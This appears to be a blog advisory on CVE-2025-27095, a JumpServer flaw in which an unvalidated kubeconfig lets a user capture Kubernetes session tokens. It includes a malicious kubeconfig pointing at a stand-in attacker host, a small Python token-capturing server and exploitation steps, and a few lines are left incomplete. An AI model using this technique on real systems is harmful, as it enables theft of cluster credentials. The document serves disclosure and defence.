JumpServer is a popular open-source bastion host used by organizations worldwide for secure access to internal systems and for operation and maintenance security auditing. It supports remote sessions over SSH, RDP, and also includes features for Kubernetes cluster access.

In early 2025, a critical vulnerability was identified: CVE-2025-27095. Let’s walk through what this vulnerability is, why it’s dangerous, and see an example of how an attacker might exploit it to gain unauthorized access to Kubernetes clusters.

What is CVE-2025-27095?

JumpServer versions before 4.8. (and 3.10.18 for long term release) allow a low-privileged user to abuse the Kubernetes session feature and point JumpServer to a fake Kubernetes API server. By changing the kubeconfig file, the attacker can capture sensitive tokens used to access the real cluster.

Why Does it Matter?

An attacker can steal a Kubernetes cluster session token simply by editing a config file. This token can then be used to:

Technical Details

JumpServer lets admins add Kubernetes clusters and provides an in-browser terminal to interact directly with those clusters. This feature relies on a kubeconfig file that defines where the requests go and what credentials to use.

Prior to the patched versions, the contents of this kubeconfig file were not validated. This means a user could point it to any server, not just the real Kubernetes API!

Vulnerable Code Path

Under the hood, when a session is started, JumpServer reads the kubeconfig and uses its server field to know where to send API requests. It also adds an authorization token (for the user or appliance) to the request.

So, if the attacker makes the server field something like https://evil.attacker.com, JumpServer will send the valid cluster token to the attacker’s server.

Vulnerable kubeconfig Example

apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority-data: FAKECA==
    server: https://evil.attacker.com
  name: evil-cluster
contexts:
- context:
    cluster: evil-cluster
    user: victim-user
  name: evil-context
current-context: evil-context
users:
- name: victim-user
  user:
    token: PLACEHOLDER

The attacker starts a new Kubernetes session.

- They edit or upload a malicious kubeconfig file, pointing the server field to their own external server.

- The attacker sets up a simple HTTPS web server to receive requests

from http.server import HTTPServer, BaseHTTPRequestHandler

class Stealer(BaseHTTPRequestHandler):
    def do_GET(self):
        print("Head:", self.headers)
        self.send_response(200)
        self.end_headers()

httpd = HTTPServer(('...', 443), Stealer)
httpd.serve_forever()

4. Start the K8s Session

- When JumpServer connects using the attacker’s config, it will send a valid Kubernetes request with the session token in the header.

5. Use the Stolen Token

- With this token, the attacker can impersonate the user (and possibly escalate privileges) on the real cluster, bypassing JumpServer.

Upgrade JumpServer to 4.8. or 3.10.18 ASAP

- Downloads and release notes: JumpServer Releases

References & Learn More

- JumpServer Official Site
- GitHub Advisory for CVE-2025-27095
- CVE Record (cve.org)

In Summary

CVE-2025-27095 lets any user with access to the JumpServer Kubernetes session steal valid tokens by redirecting API requests to attacker infrastructure. That’s like giving your house keys to a stranger just because they know where your mailbox is!

If you’re using JumpServer, patch now. If you haven’t already, rotate your cluster credentials just in case.

For hands-on defenders, review your logs for any tokens that have been used from unfamiliar source addresses. For red teamers, this highlights why even “bastion” hosts can become a single point of compromise.

Stay safe and always validate what you connect to!


*This explanation was written based on official disclosure and deep dive into JumpServer’s codebase and exploitation paths. Do not use these techniques outside of approved penetration testing and security research.*

Timeline

Published on: 03/31/2025 16:15:23 UTC
Last modified on: 04/01/2025 20:26:22 UTC